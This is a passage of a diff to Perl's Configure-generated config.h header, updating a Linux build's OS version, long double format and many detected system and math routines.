  *	This symbol contains the name of the operating system, as determined
  *	by Configure.  You shouldn't rely on it too much; the specific
@@ -2250,7 +1379,7 @@
  *	feature tests from Configure are generally more reliable.
  */
 #define OSNAME "linux"		/**/
-#define OSVERS "2.6.34.7-0.7-desktop"		/**/
+#define OSVERS "3.16.0-4-amd64"		/**/
 
 /* CAT2:
  *	This macro concatenates 2 tokens together.
@@ -2298,9 +1427,9 @@
  *	This symbol is intended to be used along with CPPRUN in the same manner
  *	symbol CPPMINUS is used with CPPSTDIN. It contains either "-" or "".
  */
-#define CPPSTDIN "cc -E"
+#define CPPSTDIN "cc  -E"
 #define CPPMINUS "-"
-#define CPPRUN "cc -E"
+#define CPPRUN "cc  -E"
 #define CPPLAST "-"
 
 /* HAS_ACCESS:
@@ -2339,7 +1468,7 @@
  */
 #define HASATTRIBUTE_DEPRECATED	/**/
 #define HASATTRIBUTE_FORMAT	/**/
-#define PRINTF_FORMAT_NULL_OK	/**/
+/*#define PRINTF_FORMAT_NULL_OK	/ **/
 #define HASATTRIBUTE_NORETURN	/**/
 #define HASATTRIBUTE_MALLOC	/**/
 #define HASATTRIBUTE_NONNULL	/**/
@@ -2347,6 +1476,13 @@
 #define HASATTRIBUTE_UNUSED	/**/
 #define HASATTRIBUTE_WARN_UNUSED_RESULT	/**/
 
+/* HAS_BACKTRACE:
+ *	This symbol, if defined, indicates that the backtrace() routine is
+ *	available to get a stack trace.  The <execinfo.h> header must be
+ *	included to use this routine.
+ */
+#define HAS_BACKTRACE	/**/
+
 /* HASCONST:
  *	This symbol, if defined, indicates that this C compiler knows about
  *	the const type. There is no need to actually test for that symbol
@@ -2366,9 +1502,16 @@
  */
 #define HAS_CSH		/**/
 #ifdef HAS_CSH
-#define CSH "/usr/bin/tcsh"	/**/
+#define CSH "/bin/csh"	/**/
 #endif
 
+/* HAS_DLADDR:
+ *	This symbol, if defined, indicates that the dladdr() routine is
+ *	available to query dynamic linker information for an address.
+ *	The <dlfcn.h> header must be included to use this routine.
+ */
+#define HAS_DLADDR	/**/
+
 /* SETUID_SCRIPTS_ARE_SECURE_NOW:
  *	This symbol, if defined, indicates that the bug that prevents
  *	setuid scripts from being secure is not present in this kernel.
@@ -2481,7 +1624,7 @@
 #define HAS_UNAME		/**/
 /*#define HAS_PHOSTNAME	/ **/
 #ifdef HAS_PHOSTNAME
-#define PHOSTNAME "/bin/hostname"	/* How to get the host name */
+#define PHOSTNAME ""	/* How to get the host name */
 #endif
 
 /* HAS_GETNETBYADDR:
@@ -2586,11 +1729,76 @@
 /* LONG_DOUBLESIZE:
  *	This symbol contains the size of a long double, so that the
  *	C preprocessor can make decisions based on it.  It is only
- *	defined if the system supports long doubles.
+ *	defined if the system supports long doubles.  Note that this
+ *	is sizeof(long double), which may include unused bytes.
  */
+/* HAS_LDEXPL:
+ *	This symbol, if defined, indicates that the ldexpl routine is
+ *	available to shift a long double floating-point number
+ *	by an integral power of 2.
+ */
+/* LONG_DOUBLEKIND:
+ *	LONG_DOUBLEKIND will be one of
+ *	LONG_DOUBLE_IS_DOUBLE
+ *	LONG_DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN
+ *	LONG_DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN
+ *	LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN
+ *	LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN
+ *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE
+ *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE
+ *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE
+ *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE
+ *	LONG_DOUBLE_IS_VAX_H_FLOAT
+ *	LONG_DOUBLE_IS_UNKNOWN_FORMAT
+ *	It is only defined if the system supports long doubles.
+ */
+/* LONG_DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the long double
+ *	is any of the IEEE 754 style long doubles:
+ *	LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED,
+ *	LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit double-double.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_EXTENDED:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 80-bit IEEE 754. Note that despite the 'extended' this
+ *	is less than the 'std', since this is an extension of
+ *	the double precision.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_STD:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit IEEE 754.
+ */
+/* LONG_DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit VAX format H.
+ */
+#define  HAS_LDEXPL		/**/
 #define HAS_LONG_DOUBLE		/**/
 #ifdef HAS_LONG_DOUBLE
-#define LONG_DOUBLESIZE 12		/**/
+#define LONG_DOUBLESIZE 16		/**/
+#define LONG_DOUBLEKIND 3		/**/
+#define LONG_DOUBLE_IS_DOUBLE				0
+#define LONG_DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN	1
+#define LONG_DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN	2
+#define LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN		3
+#define LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN		4
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE	5
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE	6
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE	7
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE	8
+#define LONG_DOUBLE_IS_VAX_H_FLOAT			9
+#define LONG_DOUBLE_IS_UNKNOWN_FORMAT			-1
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LITTLE_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE /* back-compat */
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BIG_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE /* back-compat */
+#define LONG_DOUBLE_STYLE_IEEE
+#undef LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE
+#define LONG_DOUBLE_STYLE_IEEE_EXTENDED
+#undef LONG_DOUBLE_STYLE_IEEE_STD
+#undef LONG_DOUBLE_STYLE_VAX
 #endif
 
 /* HAS_LONG_LONG:
@@ -2606,12 +1814,6 @@
 #define LONGLONGSIZE 8		/**/
 #endif
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKSTEMP:
  *	This symbol, if defined, indicates that the mkstemp routine is
  *	available to exclusively create and open a uniquely named
@@ -2631,18 +1833,6 @@
 #define HAS_MMAP		/**/
 #define Mmap_t void *	/**/
 
-/* HAS_MSG:
- *	This symbol, if defined, indicates that the entire msg*(2) library is
- *	supported (IPC mechanism based on message queues).
- */
-#define HAS_MSG		/**/
-
-/* HAS_SEM:
- *	This symbol, if defined, indicates that the entire sem*(2) library is
- *	supported.
- */
-#define HAS_SEM		/**/
-
 /* HAS_SETGRENT:
  *	This symbol, if defined, indicates that the setgrent routine is
  *	available for initializing sequential access of the group database.
@@ -2731,14 +1921,39 @@
  *	structure has a member called sa_len, indicating the length of
  *	the structure.
  */
+/* HAS_SOCKADDR_IN6:
+ *	This symbol, if defined, indicates the availability of
+ *	struct sockaddr_in6;
+ */
 /* HAS_SIN6_SCOPE_ID:
  *	This symbol, if defined, indicates that the struct sockaddr_in6
  *	structure has a member called sin6_scope_id.
  */
+/* HAS_IP_MREQ:
+ *	This symbol, if defined, indicates the availability of
+ *	struct ip_mreq;
+ */
+/* HAS_IP_MREQ_SOURCE:
+ *	This symbol, if defined, indicates the availability of
+ *	struct ip_mreq_source;
+ */
+/* HAS_IPV6_MREQ:
+ *	This symbol, if defined, indicates the availability of
+ *	struct ipv6_mreq;
+ */
+/* HAS_IPV6_MREQ_SOURCE:
+ *	This symbol, if defined, indicates the availability of
+ *	struct ipv6_mreq_source;
+ */
 #define	HAS_SOCKET		/**/
 #define	HAS_SOCKETPAIR	/**/
 /*#define	HAS_SOCKADDR_SA_LEN	/ **/
+#define	HAS_SOCKADDR_IN6	/**/
 #define	HAS_SIN6_SCOPE_ID	/**/
+#define	HAS_IP_MREQ	/**/
+#define	HAS_IP_MREQ_SOURCE	/**/
+#define	HAS_IPV6_MREQ	/**/
+/*#define	HAS_IPV6_MREQ_SOURCE	/ **/
 
 /* USE_STAT_BLOCKS:
  *	This symbol is defined if this system has a stat structure declaring
@@ -2748,31 +1963,12 @@
 #define USE_STAT_BLOCKS 	/**/
 #endif
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRTOUL:
  *	This symbol, if defined, indicates that the strtoul routine is
@@ -2821,15 +2017,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* I_DIRENT:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <dirent.h>. Using this symbol also triggers the definition
@@ -2850,6 +2037,12 @@
 /*#define DIRNAMLEN	/ **/
 #define Direntry_t struct dirent
 
+/* I_EXECINFO:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <execinfo.h> for backtrace() support.
+ */
+#define I_EXECINFO		/**/
+
 /* I_GRP:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <grp.h>.
@@ -2893,10 +2086,10 @@
  *	parameter information. While ANSI C prototypes are supported in C++,
  *	K&R style function declarations will yield errors.
  */
-#define I_NDBM	/**/
+/*#define I_NDBM	/ **/
 /*#define I_GDBMNDBM	/ **/
-/*#define I_GDBM_NDBM	/ **/
-#define NDBM_H_USES_PROTOTYPES	/**/
+#define I_GDBM_NDBM	/**/
+/*#define NDBM_H_USES_PROTOTYPES	/ **/
 /*#define GDBMNDBM_H_USES_PROTOTYPES	/ **/
 /*#define GDBM_NDBM_H_USES_PROTOTYPES	/ **/
 
@@ -2964,16 +2157,25 @@
  */
 #define	I_SYSUIO		/**/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
+/* I_TERMIO:
+ *	This symbol, if defined, indicates that the program should include
+ *	<termio.h> rather than <sgtty.h>.  There are also differences in
+ *	the ioctl() calls that depend on the value of this symbol.
  */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
+/* I_TERMIOS:
+ *	This symbol, if defined, indicates that the program should include
+ *	the POSIX termios.h rather than sgtty.h or termio.h.
+ *	There are also differences in the ioctl() calls that depend on the
+ *	value of this symbol.
  */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
+/* I_SGTTY:
+ *	This symbol, if defined, indicates that the program should include
+ *	<sgtty.h> rather than <termio.h>.  There are also differences in
+ *	the ioctl() calls that depend on the value of this symbol.
+ */
+/*#define I_TERMIO		/ **/
+#define I_TERMIOS		/**/
+/*#define I_SGTTY		/ **/
 
 /* Free_t:
  *	This variable contains the return type of free().  It is usually
@@ -2995,24 +2197,6 @@
  */
 /*#define MYMALLOC			/ **/
 
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -3062,11 +2246,17 @@
 #define SIG_NUM  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 6, 17, 29, 31, 0		/**/
 #define SIG_SIZE 69			/**/
 
-/* STDCHAR:
- *	This symbol is defined to be the type of char used in stdio.h.
- *	It has the values "unsigned char" or "char".
+/* USE_CROSS_COMPILE:
+ *	This symbol, if defined, indicates that Perl is being cross-compiled.
  */
-#define STDCHAR char	/**/
+/* PERL_TARGETARCH:
+ *	This symbol, if defined, indicates the target architecture
+ *	Perl has been cross-compiled to.  Undefined if not a cross-compile.
+ */
+#ifndef USE_CROSS_COMPILE
+/*#define	USE_CROSS_COMPILE	/ **/
+#define	PERL_TARGETARCH	""	/**/
+#endif
 
 /* PERL_USE_DEVEL:
  *	This symbol, if defined, indicates that Perl was configured with
@@ -3093,6 +2283,18 @@
  */
 /*#define HAS__FWALK		/ **/
 
+/* HAS_ACCEPT4:
+ *	This symbol, if defined, indicates that the accept4
+ *	system call is available to accept socket connections.
+ */
+#define HAS_ACCEPT4		/**/
+
+/* HAS_ACOSH:
+ *	This symbol, if defined, indicates that the acosh routine is
+ *	available to do the inverse hyperbolic cosine function.
+ */
+#define HAS_ACOSH		/**/
+
 /* HAS_AINTL:
  *	This symbol, if defined, indicates that the aintl routine is
  *	available.  If copysignl is also present we can emulate modfl.
@@ -3099,6 +2301,18 @@
  */
 /*#define HAS_AINTL		/ **/
 
+/* HAS_ASINH:
+ *	This symbol, if defined, indicates that the asinh routine is
+ *	available to do the inverse hyperbolic sine function.
+ */
+#define HAS_ASINH		/**/
+
+/* HAS_ATANH:
+ *	This symbol, if defined, indicates that the atanh routine is
+ *	available to do the inverse hyperbolic tangent function.
+ */
+#define HAS_ATANH		/**/
+
 /* HAS_BUILTIN_CHOOSE_EXPR:
  *	Can we handle GCC builtin for compile-time ternary-like expressions
  */
@@ -3109,6 +2323,22 @@
 #define HAS_BUILTIN_EXPECT	/**/
 #define HAS_BUILTIN_CHOOSE_EXPR	/**/
 
+/* HAS_BUILTIN_ADD_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_add_overflow for adding integers with overflow checks.
+ */
+/* HAS_BUILTIN_SUB_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_sub_overflow for subtracting integers with overflow checks.
+ */
+/* HAS_BUILTIN_MUL_OVERFLOW:
+ *	This symbol, if defined, indicates that the compiler supports
+ *	__builtin_mul_overflow for multiplying integers with overflow checks.
+ */
+/*#define HAS_BUILTIN_ADD_OVERFLOW	/ **/
+/*#define HAS_BUILTIN_SUB_OVERFLOW	/ **/
+/*#define HAS_BUILTIN_MUL_OVERFLOW	/ **/
+
 /* HAS_C99_VARIADIC_MACROS:
  *	If defined, the compiler supports C99 variadic macros.
  */
@@ -3144,6 +2374,12 @@
  */
 #define HAS_STRUCT_CMSGHDR	/**/
 
+/* HAS_COPYSIGN:
+ *	This symbol, if defined, indicates that the copysign routine is
+ *	available to do the copysign function.
+ */
+#define HAS_COPYSIGN		/**/
+
 /* HAS_COPYSIGNL:
  *	This symbol, if defined, indicates that the copysignl routine is
  *	available.  If aintl is also present we can emulate modfl.
@@ -3184,6 +2420,36 @@
  */
 /*#define 	DLSYM_NEEDS_UNDERSCORE 	/ **/
 
+/* HAS_DUP3:
+ *	This symbol, if defined, indicates that the dup3
+ *	system call is available to duplicate file descriptors.
+ */
+#define HAS_DUP3		/**/
+
+/* HAS_ERF:
+ *	This symbol, if defined, indicates that the erf routine is
+ *	available to do the error function.
+ */
+#define HAS_ERF		/**/
+
+/* HAS_ERFC:
+ *	This symbol, if defined, indicates that the erfc routine is
+ *	available to do the complementary error function.
+ */
+#define HAS_ERFC		/**/
+
+/* HAS_EXP2:
+ *	This symbol, if defined, indicates that the exp2 routine is
+ *	available to do the 2**x function.
+ */
+#define HAS_EXP2		/**/
+
+/* HAS_EXPM1:
+ *	This symbol, if defined, indicates that the expm1 routine is
+ *	available to do the exp(x) - 1 when x is near 1 function.
+ */
+#define HAS_EXPM1		/**/
+
 /* HAS_FAST_STDIO:
  *	This symbol, if defined, indicates that the "fast stdio"
  *	is available to manipulate the stdio buffers directly.
@@ -3203,6 +2469,26 @@
  */
 #define FCNTL_CAN_LOCK		/**/
 
+/* HAS_FDCLOSE:
+ *	This symbol, if defined, indicates that the fdclose routine is
+ *	available to free a FILE structure without closing the underlying
+ *	file descriptor.  This function appeared in FreeBSD 10.2.
+ */
+/*#define HAS_FDCLOSE		/ **/
+
+/* HAS_FDIM:
+ *	This symbol, if defined, indicates that the fdim routine is
+ *	available to do the positive difference function.
+ */
+#define HAS_FDIM		/**/
+
+/* HAS_FEGETROUND:
+ *	This symbol, if defined, indicates that the fegetround routine is
+ *	available to return the macro corresponding to the current rounding
+ *	mode.
+ */
+#define HAS_FEGETROUND	/**/
+
 /* HAS_FINITE:
  *	This symbol, if defined, indicates that the finite routine is
  *	available to check whether a double is finite (non-infinity non-NaN).
@@ -3224,6 +2510,24 @@
  */
 #define	HAS_FLOCK_PROTO	/**/
 
+/* HAS_FMA:
+ *	This symbol, if defined, indicates that the fma routine is
+ *	available to do the multiply-add function.
+ */
+#define HAS_FMA		/**/
+
+/* HAS_FMAX:
+ *	This symbol, if defined, indicates that the fmax routine is
+ *	available to do the maximum function.
+ */
+#define HAS_FMAX		/**/
+
+/* HAS_FMIN:
+ *	This symbol, if defined, indicates that the fmin routine is
+ *	available to do the minimum function.
+ */
+#define HAS_FMIN		/**/
+
 /* HAS_FP_CLASS:
  *	This symbol, if defined, indicates that the fp_class routine is
  *	available to classify doubles.  Available for example in Digital UNIX.
@@ -3242,6 +2546,13 @@
  */
 /*#define HAS_FP_CLASS		/ **/
 
+/* HAS_FP_CLASSL:
+ *	This symbol, if defined, indicates that the fp_classl routine is
+ *	available to classify long doubles.  Available for example in
+ *	Digital UNIX.  See for possible values HAS_FP_CLASS.
+ */
+/*#define HAS_FP_CLASSL		/ **/
+
 /* HAS_FPCLASS:
  *	This symbol, if defined, indicates that the fpclass routine is
  *	available to classify doubles.  Available for example in Solaris/SVR4.
@@ -3272,7 +2583,19 @@
  *           FP_NAN        NaN
  *
  */
-/*#define HAS_FPCLASSIFY		/ **/
+/* HAS_FP_CLASSIFY:
+ *	This symbol, if defined, indicates that the fp_classify routine is
+ *	available to classify doubles. The values are defined in <math.h>
+ *
+ *           FP_NORMAL     Normalized
+ *           FP_ZERO       Zero
+ *           FP_INFINITE   Infinity
+ *           FP_SUBNORMAL  Denormalized
+ *           FP_NAN        NaN
+ *
+ */
+#define	HAS_FPCLASSIFY		/**/
+/*#define	HAS_FP_CLASSIFY		/ **/
 
 /* HAS_FPCLASSL:
  *	This symbol, if defined, indicates that the fpclassl routine is
@@ -3292,6 +2615,12 @@
  */
 /*#define HAS_FPCLASSL		/ **/
 
+/* HAS_FPGETROUND:
+ *	This symbol, if defined, indicates that the fpgetround routine is
+ *	available to get the floating point rounding mode.
+ */
+/*#define HAS_FPGETROUND		/ **/
+
 /* HAS_FPOS64_T:
  *	This symbol will be defined if the C compiler supports fpos64_t.
  */
@@ -3310,6 +2639,27 @@
  */
 /*#define HAS_STRUCT_FS_DATA	/ **/
 
+/* HAS_FCHMODAT:
+ *	This symbol is defined if the fchmodat() routine is available.
+ */
+/* HAS_LINKAT:
+ *	This symbol is defined if the linkat() routine is available.
+ */
+/* HAS_OPENAT:
+ *	This symbol is defined if the openat() routine is available.
+ */
+/* HAS_RENAMEAT:
+ *	This symbol is defined if the renameat() routine is available.
+ */
+/* HAS_UNLINKAT:
+ *	This symbol is defined if the unlinkat() routine is available.
+ */
+#define	HAS_FCHMODAT	/**/
+#define	HAS_LINKAT	/**/
+#define	HAS_OPENAT	/**/
+#define	HAS_RENAMEAT	/**/
+#define	HAS_UNLINKAT	/**/
+
 /* HAS_FSEEKO:
  *	This symbol, if defined, indicates that the fseeko routine is
  *	available to fseek beyond 32 bits (useful for ILP32 hosts).
@@ -3341,6 +2691,13 @@
  */
 #define HAS_FUTIMES		/**/
 
+/* HAS_GAI_STRERROR:
+ *	This symbol, if defined, indicates that the gai_strerror routine
+ *	is available to translate error codes returned by getaddrinfo()
+ *	into human readable strings.
+ */
+#define HAS_GAI_STRERROR	/**/
+
 /* HAS_GETADDRINFO:
  *	This symbol, if defined, indicates that the getaddrinfo() function
  *	is available for use.
@@ -3407,6 +2764,18 @@
  */
 #define HAS_HASMNTOPT		/**/
 
+/* HAS_HYPOT:
+ *	This symbol, if defined, indicates that the hypot routine is
+ *	available to do the hypotenuse function.
+ */
+#define HAS_HYPOT		/**/
+
+/* HAS_ILOGB:
+ *	This symbol, if defined, indicates that the ilogb routine is
+ *	available to get integer exponent of a floating-point value.
+ */
+#define HAS_ILOGB		/**/
+
 /* HAS_ILOGBL:
  *	This symbol, if defined, indicates that the ilogbl routine is
  *	available.  If scalbnl is also present we can emulate frexpl.
@@ -3432,12 +2801,25 @@
  */
 #define     HAS_INT64_T               /**/
 
+/* HAS_ISBLANK:
+ *	This manifest constant lets the C program know that isblank
+ *	is available.
+ */
+#define HAS_ISBLANK		/**/
+
 /* HAS_ISFINITE:
  *	This symbol, if defined, indicates that the isfinite routine is
  *	available to check whether a double is finite (non-infinity non-NaN).
  */
-/*#define HAS_ISFINITE		/ **/
+#define HAS_ISFINITE		/**/
 
+/* HAS_ISFINITEL:
+ *	This symbol, if defined, indicates that the isfinitel routine is
+ *	available to check whether a long double is finite.
+ *	(non-infinity non-NaN).
+ */
+/*#define HAS_ISFINITEL		/ **/
+
 /* HAS_ISINF:
  *	This symbol, if defined, indicates that the isinf routine is
  *	available to check whether a double is an infinity.
@@ -3444,6 +2826,18 @@
  */
 #define HAS_ISINF		/**/
 
+/* HAS_ISINFL:
+ *	This symbol, if defined, indicates that the isinfl routine is
+ *	available to check whether a long double is an infinity.
+ */
+#define HAS_ISINFL		/**/
+
+/* HAS_ISLESS:
+ *	This symbol, if defined, indicates that the isless routine is
+ *	available to do the isless function.
+ */
+/*#define HAS_ISLESS		/ **/
+
 /* HAS_ISNAN:
  *	This symbol, if defined, indicates that the isnan routine is
  *	available to check whether a double is a NaN.
@@ -3456,6 +2850,31 @@
  */
 #define HAS_ISNANL		/**/
 
+/* HAS_ISNORMAL:
+ *	This symbol, if defined, indicates that the isnormal routine is
+ *	available to check whether a double is normal (non-zero normalized).
+ */
+#define HAS_ISNORMAL		/**/
+
+/* HAS_J0:
+ *	This symbol, if defined, indicates to the C program that the
+ *	j0() function is available for Bessel functions of the first
+ *	kind of the order zero, for doubles.
+ */
+/* HAS_J0L:
+ *	This symbol, if defined, indicates to the C program that the
+ *	j0l() function is available for Bessel functions of the first
+ *	kind of the order zero, for long doubles.
+ */
+#define	HAS_J0		/**/
+#define	HAS_J0L		/**/
+
+/* HAS_LC_MONETARY_2008:
+ *	This symbol, if defined, indicates that the localeconv routine is
+ *	available and has the additional members added in POSIX 1003.1-2008.
+ */
+#define HAS_LC_MONETARY_2008		/**/
+
 /* HAS_LDBL_DIG:
  *	This symbol, if defined, indicates that this system's <float.h>
  *	or <limits.h> defines the symbol LDBL_DIG, which is the number
@@ -3464,6 +2883,20 @@
  */
 #define HAS_LDBL_DIG 	/* */
 
+/* HAS_LGAMMA:
+ *	This symbol, if defined, indicates that the lgamma routine is
+ *	available to do the log gamma function.  See also HAS_TGAMMA and
+ *	HAS_LGAMMA_R.
+ */
+#define HAS_LGAMMA		/**/
+
+/* HAS_LGAMMA_R:
+ *	This symbol, if defined, indicates that the lgamma_r routine is
+ *	available to do the log gamma function without using the global
+ *	signgam variable.
+ */
+#define HAS_LGAMMA_R		/**/
+
 /* LIBM_LIB_VERSION:
  *	This symbol, if defined, indicates that libm exports _LIB_VERSION
  *	and that math.h defines the enum to manipulate it.
@@ -3470,6 +2903,78 @@
  */
 #define LIBM_LIB_VERSION		/**/
 
+/* HAS_LLRINT:
+ *	This symbol, if defined, indicates that the llrint routine is
+ *	available to return the long long value closest to a double
+ *	(according to the current rounding mode).
+ */
+#define HAS_LLRINT		/**/
+
+/* HAS_LLRINTL:
+ *	This symbol, if defined, indicates that the llrintl routine is
+ *	available to return the long long value closest to a long double
+ *	(according to the current rounding mode).
+ */
+#define HAS_LLRINTL		/**/
+
+/* HAS_LLROUND:
+ *	This symbol, if defined, indicates that the llround routine is
+ *	available to return the nearest long long value.
+ */
+#define HAS_LLROUND		/**/
+
+/* HAS_LLROUNDL:
+ *	This symbol, if defined, indicates that the llroundl routine is
+ *	available to return the nearest long long value away from zero of
+ *	the long double argument value.
+ */
+#define HAS_LLROUNDL		/**/
+
+/* HAS_LOG1P:
+ *	This symbol, if defined, indicates that the log1p routine is
+ *	available to do the logarithm of 1 plus argument function.
+ */
+#define HAS_LOG1P		/**/
+
+/* HAS_LOG2:
+ *	This symbol, if defined, indicates that the log2 routine is
+ *	available to do the log2 function.
+ */
+#define HAS_LOG2		/**/
+
+/* HAS_LOGB:
+ *	This symbol, if defined, indicates that the logb routine is
+ *	available to do the logb function.
+ */
+#define HAS_LOGB		/**/
+
+/* HAS_LRINT:
+ *	This symbol, if defined, indicates that the lrint routine is
+ *	available to return the integral value closest to a double
+ *	(according to the current rounding mode).
+ */
+#define HAS_LRINT		/**/
+
+/* HAS_LRINTL:
+ *	This symbol, if defined, indicates that the lrintl routine is
+ *	available to return the integral value closest to a long double
+ *	(according to the current rounding mode).
+ */
+#define HAS_LRINTL		/**/
+
+/* HAS_LROUND:
+ *	This symbol, if defined, indicates that the lround routine is
+ *	available to return the nearest integral value.
+ */
+#define HAS_LROUND		/**/
+
+/* HAS_LROUNDL:
+ *	This symbol, if defined, indicates that the lroundl routine is
+ *	available to return the nearest integral value away from zero of
+ *	the long double argument value.
+ */
+#define HAS_LROUNDL		/**/
+
 /* HAS_MADVISE:
  *	This symbol, if defined, indicates that the madvise system call is
  *	available to map a file into memory.
@@ -3488,6 +2993,20 @@
  */
 /*#define HAS_MALLOC_GOOD_SIZE	/ **/
 
+/* HAS_MEMMEM:
+ *	This symbol, if defined, indicates that the memmem routine is
+ *	available to return a pointer to the start of the first occurance
+ *	of a substring in a memory area (or NULL if not found).
+ */
+#define HAS_MEMMEM		/**/
+
+/* HAS_MEMRCHR:
+ *	This symbol, if defined, indicates that the memrchr routine is
+ *	available to return a pointer to the last occurrence of a byte in
+ *	a memory area (or NULL if not found).
+ */
+#define HAS_MEMRCHR		/**/
+
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -3494,6 +3013,13 @@
  */
 #define HAS_MKDTEMP		/**/
 
+/* HAS_MKOSTEMP:
+ *	This symbol, if defined, indicates that the mkostemp routine is
+ *	available to exclusively create and open a uniquely named
+ *	temporary file.
+ */
+#define HAS_MKOSTEMP		/**/
+
 /* HAS_MKSTEMPS:
  *	This symbol, if defined, indicates that the mkstemps routine is
  *	available to exclusively create and open a uniquely named
@@ -3526,6 +3052,66 @@
  */
 #define HAS_STRUCT_MSGHDR	/**/
 
+/* HAS_NAN:
+ *	This symbol, if defined, indicates that the nan routine is
+ *	available to generate NaN.
+ */
+#define HAS_NAN		/**/
+
+/* HAS_NANOSLEEP:
+ *	This symbol, if defined, indicates that the nanosleep
+ *	system call is available to sleep with 1E-9 sec accuracy.
+ */
+#define HAS_NANOSLEEP		/**/
+
+/* HAS_NEARBYINT:
+ *	This symbol, if defined, indicates that the nearbyint routine is
+ *	available to return the integral value closest to (according to
+ *	the current rounding mode) to x.
+ */
+#define HAS_NEARBYINT		/**/
+
+/* HAS_NEWLOCALE:
+ *	This symbol, if defined, indicates that the newlocale routine is
+ *	available to return a new locale object or modify an existing
+ *	locale object.
+ */
+/* HAS_FREELOCALE:
+ *	This symbol, if defined, indicates that the freelocale routine is
+ *	available to deallocates the resources associated with a locale object.
+ */
+/* HAS_USELOCALE:
+ *	This symbol, if defined, indicates that the uselocale routine is
+ *	available to set the current locale for the calling thread.
+ */
+/* HAS_QUERYLOCALE:
+ *	This symbol, if defined, indicates that the querylocale routine is
+ *	available to return the name of the locale for a category mask.
+ */
+/* I_XLOCALE:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <xlocale.h> to get uselocale() and its friends.
+ */
+#define	HAS_NEWLOCALE	/**/
+#define	HAS_FREELOCALE	/**/
+#define	HAS_USELOCALE	/**/
+/*#define	HAS_QUERYLOCALE	/ **/
